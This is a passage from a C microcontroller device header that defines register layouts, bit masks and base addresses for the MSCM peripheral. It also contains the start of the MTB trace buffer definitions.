/** Array initializer of MMDVSQ peripheral base pointers */
#define MMDVSQ_BASE_PTRS { MMDVSQ0, MMDVSQ1 }
/*!
* @}
*/ /* end of group MMDVSQ_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- MSCM Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup MSCM_Peripheral_Access_Layer MSCM Peripheral Access Layer
* @{
*/
/** MSCM - Register Layout Typedef */
typedef struct {
__I uint32_t CPxTYPE; /**< Processor X Type Register, offset: 0x0 */
__I uint32_t CPxNUM; /**< Processor X Number Register, offset: 0x4 */
__I uint32_t CPxMASTER; /**< Processor X Master Register, offset: 0x8 */
__I uint32_t CPxCOUNT; /**< Processor X Count Register, offset: 0xC */
struct { /* offset: 0x10, array step: 0x10 */
__I uint32_t CPxCFG0; /**< Processor X Configuration Register, array offset: 0x10, array step: 0x10 */
__I uint32_t CPxCFG1; /**< Processor X Configuration Register, array offset: 0x14, array step: 0x10 */
__I uint32_t CPxCFG2; /**< Processor X Configuration Register, array offset: 0x18, array step: 0x10 */
__I uint32_t CPxCFG3; /**< Processor X Configuration Register, array offset: 0x1C, array step: 0x10 */
} CPxCFG[1];
__I uint32_t CP0TYPE; /**< Processor 0 Type Register, offset: 0x20 */
__I uint32_t CP0NUM; /**< Processor 0 Number Register, offset: 0x24 */
__I uint32_t CP0MASTER; /**< Processor 0 Master Register, offset: 0x28 */
__I uint32_t CP0COUNT; /**< Processor 0 Count Register, offset: 0x2C */
struct { /* offset: 0x30, array step: 0x10 */
__I uint32_t CP0CFG0; /**< Processor 0 Configuration Register, array offset: 0x30, array step: 0x10 */
__I uint32_t CP0CFG1; /**< Processor 0 Configuration Register, array offset: 0x34, array step: 0x10 */
__I uint32_t CP0CFG2; /**< Processor 0 Configuration Register, array offset: 0x38, array step: 0x10 */
__I uint32_t CP0CFG3; /**< Processor 0 Configuration Register, array offset: 0x3C, array step: 0x10 */
} CP0CFG[1];
__I uint32_t CP1TYPE; /**< Processor 1 Type Register, offset: 0x40 */
__I uint32_t CP1NUM; /**< Processor 1 Number Register, offset: 0x44 */
__I uint32_t CP1MASTER; /**< Processor 1 Master Register, offset: 0x48 */
__I uint32_t CP1COUNT; /**< Processor 1 Count Register, offset: 0x4C */
struct { /* offset: 0x50, array step: 0x10 */
__I uint32_t CP1CFG0; /**< Processor 1 Configuration Register, array offset: 0x50, array step: 0x10 */
__I uint32_t CP1CFG1; /**< Processor 1 Configuration Register, array offset: 0x54, array step: 0x10 */
__I uint32_t CP1CFG2; /**< Processor 1 Configuration Register, array offset: 0x58, array step: 0x10 */
__I uint32_t CP1CFG3; /**< Processor 1 Configuration Register, array offset: 0x5C, array step: 0x10 */
} CP1CFG[1];
uint8_t RESERVED_0[928];
__I uint32_t OCMDR[3]; /**< On-Chip Memory Descriptor Register, array offset: 0x400, array step: 0x4 */
} MSCM_Type;
/* ----------------------------------------------------------------------------
-- MSCM Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup MSCM_Register_Masks MSCM Register Masks
* @{
*/
/*! @name CPxTYPE - Processor X Type Register */
#define MSCM_CPxTYPE_RYPZ_MASK (0xFFU)
#define MSCM_CPxTYPE_RYPZ_SHIFT (0U)
#define MSCM_CPxTYPE_RYPZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxTYPE_RYPZ_SHIFT)) & MSCM_CPxTYPE_RYPZ_MASK)
#define MSCM_CPxTYPE_PERSONALITY_MASK (0xFFFFFF00U)
#define MSCM_CPxTYPE_PERSONALITY_SHIFT (8U)
#define MSCM_CPxTYPE_PERSONALITY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxTYPE_PERSONALITY_SHIFT)) & MSCM_CPxTYPE_PERSONALITY_MASK)
/*! @name CPxNUM - Processor X Number Register */
#define MSCM_CPxNUM_CPN_MASK (0x1U)
#define MSCM_CPxNUM_CPN_SHIFT (0U)
#define MSCM_CPxNUM_CPN(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxNUM_CPN_SHIFT)) & MSCM_CPxNUM_CPN_MASK)
/*! @name CPxMASTER - Processor X Master Register */
#define MSCM_CPxMASTER_PPN_MASK (0x3FU)
#define MSCM_CPxMASTER_PPN_SHIFT (0U)
#define MSCM_CPxMASTER_PPN(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxMASTER_PPN_SHIFT)) & MSCM_CPxMASTER_PPN_MASK)
/*! @name CPxCOUNT - Processor X Count Register */
#define MSCM_CPxCOUNT_PCNT_MASK (0x3U)
#define MSCM_CPxCOUNT_PCNT_SHIFT (0U)
#define MSCM_CPxCOUNT_PCNT(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxCOUNT_PCNT_SHIFT)) & MSCM_CPxCOUNT_PCNT_MASK)
/*! @name CPxCFG0 - Processor X Configuration Register */
#define MSCM_CPxCFG0_DCWY_MASK (0xFFU)
#define MSCM_CPxCFG0_DCWY_SHIFT (0U)
#define MSCM_CPxCFG0_DCWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxCFG0_DCWY_SHIFT)) & MSCM_CPxCFG0_DCWY_MASK)
#define MSCM_CPxCFG0_DCSZ_MASK (0xFF00U)
#define MSCM_CPxCFG0_DCSZ_SHIFT (8U)
#define MSCM_CPxCFG0_DCSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxCFG0_DCSZ_SHIFT)) & MSCM_CPxCFG0_DCSZ_MASK)
#define MSCM_CPxCFG0_ICWY_MASK (0xFF0000U)
#define MSCM_CPxCFG0_ICWY_SHIFT (16U)
#define MSCM_CPxCFG0_ICWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxCFG0_ICWY_SHIFT)) & MSCM_CPxCFG0_ICWY_MASK)
#define MSCM_CPxCFG0_ICSZ_MASK (0xFF000000U)
#define MSCM_CPxCFG0_ICSZ_SHIFT (24U)
#define MSCM_CPxCFG0_ICSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxCFG0_ICSZ_SHIFT)) & MSCM_CPxCFG0_ICSZ_MASK)
/* The count of MSCM_CPxCFG0 */
#define MSCM_CPxCFG0_COUNT (1U)
/*! @name CPxCFG1 - Processor X Configuration Register */
#define MSCM_CPxCFG1_DCWY_MASK (0xFFU)
#define MSCM_CPxCFG1_DCWY_SHIFT (0U)
#define MSCM_CPxCFG1_DCWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxCFG1_DCWY_SHIFT)) & MSCM_CPxCFG1_DCWY_MASK)
#define MSCM_CPxCFG1_DCSZ_MASK (0xFF00U)
#define MSCM_CPxCFG1_DCSZ_SHIFT (8U)
#define MSCM_CPxCFG1_DCSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxCFG1_DCSZ_SHIFT)) & MSCM_CPxCFG1_DCSZ_MASK)
#define MSCM_CPxCFG1_ICWY_MASK (0xFF0000U)
#define MSCM_CPxCFG1_ICWY_SHIFT (16U)
#define MSCM_CPxCFG1_ICWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxCFG1_ICWY_SHIFT)) & MSCM_CPxCFG1_ICWY_MASK)
#define MSCM_CPxCFG1_ICSZ_MASK (0xFF000000U)
#define MSCM_CPxCFG1_ICSZ_SHIFT (24U)
#define MSCM_CPxCFG1_ICSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxCFG1_ICSZ_SHIFT)) & MSCM_CPxCFG1_ICSZ_MASK)
/* The count of MSCM_CPxCFG1 */
#define MSCM_CPxCFG1_COUNT (1U)
/*! @name CPxCFG2 - Processor X Configuration Register */
#define MSCM_CPxCFG2_DCWY_MASK (0xFFU)
#define MSCM_CPxCFG2_DCWY_SHIFT (0U)
#define MSCM_CPxCFG2_DCWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxCFG2_DCWY_SHIFT)) & MSCM_CPxCFG2_DCWY_MASK)
#define MSCM_CPxCFG2_DCSZ_MASK (0xFF00U)
#define MSCM_CPxCFG2_DCSZ_SHIFT (8U)
#define MSCM_CPxCFG2_DCSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxCFG2_DCSZ_SHIFT)) & MSCM_CPxCFG2_DCSZ_MASK)
#define MSCM_CPxCFG2_ICWY_MASK (0xFF0000U)
#define MSCM_CPxCFG2_ICWY_SHIFT (16U)
#define MSCM_CPxCFG2_ICWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxCFG2_ICWY_SHIFT)) & MSCM_CPxCFG2_ICWY_MASK)
#define MSCM_CPxCFG2_ICSZ_MASK (0xFF000000U)
#define MSCM_CPxCFG2_ICSZ_SHIFT (24U)
#define MSCM_CPxCFG2_ICSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxCFG2_ICSZ_SHIFT)) & MSCM_CPxCFG2_ICSZ_MASK)
/* The count of MSCM_CPxCFG2 */
#define MSCM_CPxCFG2_COUNT (1U)
/*! @name CPxCFG3 - Processor X Configuration Register */
#define MSCM_CPxCFG3_DCWY_MASK (0xFFU)
#define MSCM_CPxCFG3_DCWY_SHIFT (0U)
#define MSCM_CPxCFG3_DCWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxCFG3_DCWY_SHIFT)) & MSCM_CPxCFG3_DCWY_MASK)
#define MSCM_CPxCFG3_DCSZ_MASK (0xFF00U)
#define MSCM_CPxCFG3_DCSZ_SHIFT (8U)
#define MSCM_CPxCFG3_DCSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxCFG3_DCSZ_SHIFT)) & MSCM_CPxCFG3_DCSZ_MASK)
#define MSCM_CPxCFG3_ICWY_MASK (0xFF0000U)
#define MSCM_CPxCFG3_ICWY_SHIFT (16U)
#define MSCM_CPxCFG3_ICWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxCFG3_ICWY_SHIFT)) & MSCM_CPxCFG3_ICWY_MASK)
#define MSCM_CPxCFG3_ICSZ_MASK (0xFF000000U)
#define MSCM_CPxCFG3_ICSZ_SHIFT (24U)
#define MSCM_CPxCFG3_ICSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CPxCFG3_ICSZ_SHIFT)) & MSCM_CPxCFG3_ICSZ_MASK)
/* The count of MSCM_CPxCFG3 */
#define MSCM_CPxCFG3_COUNT (1U)
/*! @name CP0TYPE - Processor 0 Type Register */
#define MSCM_CP0TYPE_RYPZ_MASK (0xFFU)
#define MSCM_CP0TYPE_RYPZ_SHIFT (0U)
#define MSCM_CP0TYPE_RYPZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0TYPE_RYPZ_SHIFT)) & MSCM_CP0TYPE_RYPZ_MASK)
#define MSCM_CP0TYPE_PERSONALITY_MASK (0xFFFFFF00U)
#define MSCM_CP0TYPE_PERSONALITY_SHIFT (8U)
#define MSCM_CP0TYPE_PERSONALITY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0TYPE_PERSONALITY_SHIFT)) & MSCM_CP0TYPE_PERSONALITY_MASK)
/*! @name CP0NUM - Processor 0 Number Register */
#define MSCM_CP0NUM_CPN_MASK (0x1U)
#define MSCM_CP0NUM_CPN_SHIFT (0U)
#define MSCM_CP0NUM_CPN(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0NUM_CPN_SHIFT)) & MSCM_CP0NUM_CPN_MASK)
/*! @name CP0MASTER - Processor 0 Master Register */
#define MSCM_CP0MASTER_PPN_MASK (0x3FU)
#define MSCM_CP0MASTER_PPN_SHIFT (0U)
#define MSCM_CP0MASTER_PPN(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0MASTER_PPN_SHIFT)) & MSCM_CP0MASTER_PPN_MASK)
/*! @name CP0COUNT - Processor 0 Count Register */
#define MSCM_CP0COUNT_PCNT_MASK (0x3U)
#define MSCM_CP0COUNT_PCNT_SHIFT (0U)
#define MSCM_CP0COUNT_PCNT(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0COUNT_PCNT_SHIFT)) & MSCM_CP0COUNT_PCNT_MASK)
/*! @name CP0CFG0 - Processor 0 Configuration Register */
#define MSCM_CP0CFG0_DCWY_MASK (0xFFU)
#define MSCM_CP0CFG0_DCWY_SHIFT (0U)
#define MSCM_CP0CFG0_DCWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0CFG0_DCWY_SHIFT)) & MSCM_CP0CFG0_DCWY_MASK)
#define MSCM_CP0CFG0_DCSZ_MASK (0xFF00U)
#define MSCM_CP0CFG0_DCSZ_SHIFT (8U)
#define MSCM_CP0CFG0_DCSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0CFG0_DCSZ_SHIFT)) & MSCM_CP0CFG0_DCSZ_MASK)
#define MSCM_CP0CFG0_ICWY_MASK (0xFF0000U)
#define MSCM_CP0CFG0_ICWY_SHIFT (16U)
#define MSCM_CP0CFG0_ICWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0CFG0_ICWY_SHIFT)) & MSCM_CP0CFG0_ICWY_MASK)
#define MSCM_CP0CFG0_ICSZ_MASK (0xFF000000U)
#define MSCM_CP0CFG0_ICSZ_SHIFT (24U)
#define MSCM_CP0CFG0_ICSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0CFG0_ICSZ_SHIFT)) & MSCM_CP0CFG0_ICSZ_MASK)
/* The count of MSCM_CP0CFG0 */
#define MSCM_CP0CFG0_COUNT (1U)
/*! @name CP0CFG1 - Processor 0 Configuration Register */
#define MSCM_CP0CFG1_DCWY_MASK (0xFFU)
#define MSCM_CP0CFG1_DCWY_SHIFT (0U)
#define MSCM_CP0CFG1_DCWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0CFG1_DCWY_SHIFT)) & MSCM_CP0CFG1_DCWY_MASK)
#define MSCM_CP0CFG1_DCSZ_MASK (0xFF00U)
#define MSCM_CP0CFG1_DCSZ_SHIFT (8U)
#define MSCM_CP0CFG1_DCSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0CFG1_DCSZ_SHIFT)) & MSCM_CP0CFG1_DCSZ_MASK)
#define MSCM_CP0CFG1_ICWY_MASK (0xFF0000U)
#define MSCM_CP0CFG1_ICWY_SHIFT (16U)
#define MSCM_CP0CFG1_ICWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0CFG1_ICWY_SHIFT)) & MSCM_CP0CFG1_ICWY_MASK)
#define MSCM_CP0CFG1_ICSZ_MASK (0xFF000000U)
#define MSCM_CP0CFG1_ICSZ_SHIFT (24U)
#define MSCM_CP0CFG1_ICSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0CFG1_ICSZ_SHIFT)) & MSCM_CP0CFG1_ICSZ_MASK)
/* The count of MSCM_CP0CFG1 */
#define MSCM_CP0CFG1_COUNT (1U)
/*! @name CP0CFG2 - Processor 0 Configuration Register */
#define MSCM_CP0CFG2_DCWY_MASK (0xFFU)
#define MSCM_CP0CFG2_DCWY_SHIFT (0U)
#define MSCM_CP0CFG2_DCWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0CFG2_DCWY_SHIFT)) & MSCM_CP0CFG2_DCWY_MASK)
#define MSCM_CP0CFG2_DCSZ_MASK (0xFF00U)
#define MSCM_CP0CFG2_DCSZ_SHIFT (8U)
#define MSCM_CP0CFG2_DCSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0CFG2_DCSZ_SHIFT)) & MSCM_CP0CFG2_DCSZ_MASK)
#define MSCM_CP0CFG2_ICWY_MASK (0xFF0000U)
#define MSCM_CP0CFG2_ICWY_SHIFT (16U)
#define MSCM_CP0CFG2_ICWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0CFG2_ICWY_SHIFT)) & MSCM_CP0CFG2_ICWY_MASK)
#define MSCM_CP0CFG2_ICSZ_MASK (0xFF000000U)
#define MSCM_CP0CFG2_ICSZ_SHIFT (24U)
#define MSCM_CP0CFG2_ICSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0CFG2_ICSZ_SHIFT)) & MSCM_CP0CFG2_ICSZ_MASK)
/* The count of MSCM_CP0CFG2 */
#define MSCM_CP0CFG2_COUNT (1U)
/*! @name CP0CFG3 - Processor 0 Configuration Register */
#define MSCM_CP0CFG3_DCWY_MASK (0xFFU)
#define MSCM_CP0CFG3_DCWY_SHIFT (0U)
#define MSCM_CP0CFG3_DCWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0CFG3_DCWY_SHIFT)) & MSCM_CP0CFG3_DCWY_MASK)
#define MSCM_CP0CFG3_DCSZ_MASK (0xFF00U)
#define MSCM_CP0CFG3_DCSZ_SHIFT (8U)
#define MSCM_CP0CFG3_DCSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0CFG3_DCSZ_SHIFT)) & MSCM_CP0CFG3_DCSZ_MASK)
#define MSCM_CP0CFG3_ICWY_MASK (0xFF0000U)
#define MSCM_CP0CFG3_ICWY_SHIFT (16U)
#define MSCM_CP0CFG3_ICWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0CFG3_ICWY_SHIFT)) & MSCM_CP0CFG3_ICWY_MASK)
#define MSCM_CP0CFG3_ICSZ_MASK (0xFF000000U)
#define MSCM_CP0CFG3_ICSZ_SHIFT (24U)
#define MSCM_CP0CFG3_ICSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP0CFG3_ICSZ_SHIFT)) & MSCM_CP0CFG3_ICSZ_MASK)
/* The count of MSCM_CP0CFG3 */
#define MSCM_CP0CFG3_COUNT (1U)
/*! @name CP1TYPE - Processor 1 Type Register */
#define MSCM_CP1TYPE_RYPZ_MASK (0xFFU)
#define MSCM_CP1TYPE_RYPZ_SHIFT (0U)
#define MSCM_CP1TYPE_RYPZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1TYPE_RYPZ_SHIFT)) & MSCM_CP1TYPE_RYPZ_MASK)
#define MSCM_CP1TYPE_PERSONALITY_MASK (0xFFFFFF00U)
#define MSCM_CP1TYPE_PERSONALITY_SHIFT (8U)
#define MSCM_CP1TYPE_PERSONALITY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1TYPE_PERSONALITY_SHIFT)) & MSCM_CP1TYPE_PERSONALITY_MASK)
/*! @name CP1NUM - Processor 1 Number Register */
#define MSCM_CP1NUM_CPN_MASK (0x1U)
#define MSCM_CP1NUM_CPN_SHIFT (0U)
#define MSCM_CP1NUM_CPN(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1NUM_CPN_SHIFT)) & MSCM_CP1NUM_CPN_MASK)
/*! @name CP1MASTER - Processor 1 Master Register */
#define MSCM_CP1MASTER_PPN_MASK (0x3FU)
#define MSCM_CP1MASTER_PPN_SHIFT (0U)
#define MSCM_CP1MASTER_PPN(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1MASTER_PPN_SHIFT)) & MSCM_CP1MASTER_PPN_MASK)
/*! @name CP1COUNT - Processor 1 Count Register */
#define MSCM_CP1COUNT_PCNT_MASK (0x3U)
#define MSCM_CP1COUNT_PCNT_SHIFT (0U)
#define MSCM_CP1COUNT_PCNT(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1COUNT_PCNT_SHIFT)) & MSCM_CP1COUNT_PCNT_MASK)
/*! @name CP1CFG0 - Processor 1 Configuration Register */
#define MSCM_CP1CFG0_DCWY_MASK (0xFFU)
#define MSCM_CP1CFG0_DCWY_SHIFT (0U)
#define MSCM_CP1CFG0_DCWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1CFG0_DCWY_SHIFT)) & MSCM_CP1CFG0_DCWY_MASK)
#define MSCM_CP1CFG0_DCSZ_MASK (0xFF00U)
#define MSCM_CP1CFG0_DCSZ_SHIFT (8U)
#define MSCM_CP1CFG0_DCSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1CFG0_DCSZ_SHIFT)) & MSCM_CP1CFG0_DCSZ_MASK)
#define MSCM_CP1CFG0_ICWY_MASK (0xFF0000U)
#define MSCM_CP1CFG0_ICWY_SHIFT (16U)
#define MSCM_CP1CFG0_ICWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1CFG0_ICWY_SHIFT)) & MSCM_CP1CFG0_ICWY_MASK)
#define MSCM_CP1CFG0_ICSZ_MASK (0xFF000000U)
#define MSCM_CP1CFG0_ICSZ_SHIFT (24U)
#define MSCM_CP1CFG0_ICSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1CFG0_ICSZ_SHIFT)) & MSCM_CP1CFG0_ICSZ_MASK)
/* The count of MSCM_CP1CFG0 */
#define MSCM_CP1CFG0_COUNT (1U)
/*! @name CP1CFG1 - Processor 1 Configuration Register */
#define MSCM_CP1CFG1_DCWY_MASK (0xFFU)
#define MSCM_CP1CFG1_DCWY_SHIFT (0U)
#define MSCM_CP1CFG1_DCWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1CFG1_DCWY_SHIFT)) & MSCM_CP1CFG1_DCWY_MASK)
#define MSCM_CP1CFG1_DCSZ_MASK (0xFF00U)
#define MSCM_CP1CFG1_DCSZ_SHIFT (8U)
#define MSCM_CP1CFG1_DCSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1CFG1_DCSZ_SHIFT)) & MSCM_CP1CFG1_DCSZ_MASK)
#define MSCM_CP1CFG1_ICWY_MASK (0xFF0000U)
#define MSCM_CP1CFG1_ICWY_SHIFT (16U)
#define MSCM_CP1CFG1_ICWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1CFG1_ICWY_SHIFT)) & MSCM_CP1CFG1_ICWY_MASK)
#define MSCM_CP1CFG1_ICSZ_MASK (0xFF000000U)
#define MSCM_CP1CFG1_ICSZ_SHIFT (24U)
#define MSCM_CP1CFG1_ICSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1CFG1_ICSZ_SHIFT)) & MSCM_CP1CFG1_ICSZ_MASK)
/* The count of MSCM_CP1CFG1 */
#define MSCM_CP1CFG1_COUNT (1U)
/*! @name CP1CFG2 - Processor 1 Configuration Register */
#define MSCM_CP1CFG2_DCWY_MASK (0xFFU)
#define MSCM_CP1CFG2_DCWY_SHIFT (0U)
#define MSCM_CP1CFG2_DCWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1CFG2_DCWY_SHIFT)) & MSCM_CP1CFG2_DCWY_MASK)
#define MSCM_CP1CFG2_DCSZ_MASK (0xFF00U)
#define MSCM_CP1CFG2_DCSZ_SHIFT (8U)
#define MSCM_CP1CFG2_DCSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1CFG2_DCSZ_SHIFT)) & MSCM_CP1CFG2_DCSZ_MASK)
#define MSCM_CP1CFG2_ICWY_MASK (0xFF0000U)
#define MSCM_CP1CFG2_ICWY_SHIFT (16U)
#define MSCM_CP1CFG2_ICWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1CFG2_ICWY_SHIFT)) & MSCM_CP1CFG2_ICWY_MASK)
#define MSCM_CP1CFG2_ICSZ_MASK (0xFF000000U)
#define MSCM_CP1CFG2_ICSZ_SHIFT (24U)
#define MSCM_CP1CFG2_ICSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1CFG2_ICSZ_SHIFT)) & MSCM_CP1CFG2_ICSZ_MASK)
/* The count of MSCM_CP1CFG2 */
#define MSCM_CP1CFG2_COUNT (1U)
/*! @name CP1CFG3 - Processor 1 Configuration Register */
#define MSCM_CP1CFG3_DCWY_MASK (0xFFU)
#define MSCM_CP1CFG3_DCWY_SHIFT (0U)
#define MSCM_CP1CFG3_DCWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1CFG3_DCWY_SHIFT)) & MSCM_CP1CFG3_DCWY_MASK)
#define MSCM_CP1CFG3_DCSZ_MASK (0xFF00U)
#define MSCM_CP1CFG3_DCSZ_SHIFT (8U)
#define MSCM_CP1CFG3_DCSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1CFG3_DCSZ_SHIFT)) & MSCM_CP1CFG3_DCSZ_MASK)
#define MSCM_CP1CFG3_ICWY_MASK (0xFF0000U)
#define MSCM_CP1CFG3_ICWY_SHIFT (16U)
#define MSCM_CP1CFG3_ICWY(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1CFG3_ICWY_SHIFT)) & MSCM_CP1CFG3_ICWY_MASK)
#define MSCM_CP1CFG3_ICSZ_MASK (0xFF000000U)
#define MSCM_CP1CFG3_ICSZ_SHIFT (24U)
#define MSCM_CP1CFG3_ICSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_CP1CFG3_ICSZ_SHIFT)) & MSCM_CP1CFG3_ICSZ_MASK)
/* The count of MSCM_CP1CFG3 */
#define MSCM_CP1CFG3_COUNT (1U)
/*! @name OCMDR - On-Chip Memory Descriptor Register */
#define MSCM_OCMDR_OCMPU_MASK (0x1000U)
#define MSCM_OCMDR_OCMPU_SHIFT (12U)
#define MSCM_OCMDR_OCMPU(x) (((uint32_t)(((uint32_t)(x)) << MSCM_OCMDR_OCMPU_SHIFT)) & MSCM_OCMDR_OCMPU_MASK)
#define MSCM_OCMDR_OCMT_MASK (0xE000U)
#define MSCM_OCMDR_OCMT_SHIFT (13U)
#define MSCM_OCMDR_OCMT(x) (((uint32_t)(((uint32_t)(x)) << MSCM_OCMDR_OCMT_SHIFT)) & MSCM_OCMDR_OCMT_MASK)
#define MSCM_OCMDR_RO_MASK (0x10000U)
#define MSCM_OCMDR_RO_SHIFT (16U)
#define MSCM_OCMDR_RO(x) (((uint32_t)(((uint32_t)(x)) << MSCM_OCMDR_RO_SHIFT)) & MSCM_OCMDR_RO_MASK)
#define MSCM_OCMDR_OCMW_MASK (0xE0000U)
#define MSCM_OCMDR_OCMW_SHIFT (17U)
#define MSCM_OCMDR_OCMW(x) (((uint32_t)(((uint32_t)(x)) << MSCM_OCMDR_OCMW_SHIFT)) & MSCM_OCMDR_OCMW_MASK)
#define MSCM_OCMDR_OCMSZ_MASK (0xF000000U)
#define MSCM_OCMDR_OCMSZ_SHIFT (24U)
#define MSCM_OCMDR_OCMSZ(x) (((uint32_t)(((uint32_t)(x)) << MSCM_OCMDR_OCMSZ_SHIFT)) & MSCM_OCMDR_OCMSZ_MASK)
#define MSCM_OCMDR_OCMSZH_MASK (0x10000000U)
#define MSCM_OCMDR_OCMSZH_SHIFT (28U)
#define MSCM_OCMDR_OCMSZH(x) (((uint32_t)(((uint32_t)(x)) << MSCM_OCMDR_OCMSZH_SHIFT)) & MSCM_OCMDR_OCMSZH_MASK)
#define MSCM_OCMDR_V_MASK (0x80000000U)
#define MSCM_OCMDR_V_SHIFT (31U)
#define MSCM_OCMDR_V(x) (((uint32_t)(((uint32_t)(x)) << MSCM_OCMDR_V_SHIFT)) & MSCM_OCMDR_V_MASK)
/* The count of MSCM_OCMDR */
#define MSCM_OCMDR_COUNT (3U)
/*!
* @}
*/ /* end of group MSCM_Register_Masks */
/* MSCM - Peripheral instance base addresses */
/** Peripheral MSCM base address */
#define MSCM_BASE (0x40001000u)
/** Peripheral MSCM base pointer */
#define MSCM ((MSCM_Type *)MSCM_BASE)
/** Array initializer of MSCM peripheral base addresses */
#define MSCM_BASE_ADDRS { MSCM_BASE }
/** Array initializer of MSCM peripheral base pointers */
#define MSCM_BASE_PTRS { MSCM }
/*!
* @}
*/ /* end of group MSCM_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- MTB Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup MTB_Peripheral_Access_Layer MTB Peripheral Access Layer
* @{
*/
/** MTB - Register Layout Typedef */
typedef struct {
__IO uint32_t POSITION; /**< MTB Position Register, offset: 0x0 */
__IO uint32_t MASTER; /**< MTB Master Register, offset: 0x4 */
__IO uint32_t FLOW; /**< MTB Flow Register, offset: 0x8 */
__I uint32_t BASE; /**< MTB Base Register, offset: 0xC */
uint8_t RESERVED_0[3824];
__I uint32_t MODECTRL; /**< Integration Mode Control Register, offset: 0xF00 */
uint8_t RESERVED_1[156];
__I uint32_t TAGSET; /**< Claim TAG Set Register, offset: 0xFA0 */
__I uint32_t TAGCLEAR; /**< Claim TAG Clear Register, offset: 0xFA4 */
uint8_t RESERVED_2[8];
__I uint32_t LOCKACCESS; /**< Lock Access Register, offset: 0xFB0 */
__I uint32_t LOCKSTAT; /**< Lock Status Register, offset: 0xFB4 */
__I uint32_t AUTHSTAT; /**< Authentication Status Register, offset: 0xFB8 */
__I uint32_t DEVICEARCH; /**< Device Architecture Register, offset: 0xFBC */
uint8_t RESERVED_3[8];
__I uint32_t DEVICECFG; /**< Device Configuration Register, offset: 0xFC8 */
__I uint32_t DEVICETYPID; /**< Device Type Identifier Register, offset: 0xFCC */
__I uint32_t PERIPHID[8]; /**< Peripheral ID Register, array offset: 0xFD0, array step: 0x4 */
__I uint32_t COMPID[4]; /**< Component ID Register, array offset: 0xFF0, array step: 0x4 */
} MTB_Type;
/* ----------------------------------------------------------------------------
-- MTB Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup MTB_Register_Masks MTB Register Masks
* @{
*/
/*! @name POSITION - MTB Position Register */
#define MTB_POSITION_WRAP_MASK (0x4U)
#define MTB_POSITION_WRAP_SHIFT (2U)
#define MTB_POSITION_WRAP(x) (((uint32_t)(((uint32_t)(x)) << MTB_POSITION_WRAP_SHIFT)) & MTB_POSITION_WRAP_MASK)
#define MTB_POSITION_POINTER_MASK (0xFFFFFFF8U)
#define MTB_POSITION_POINTER_SHIFT (3U)
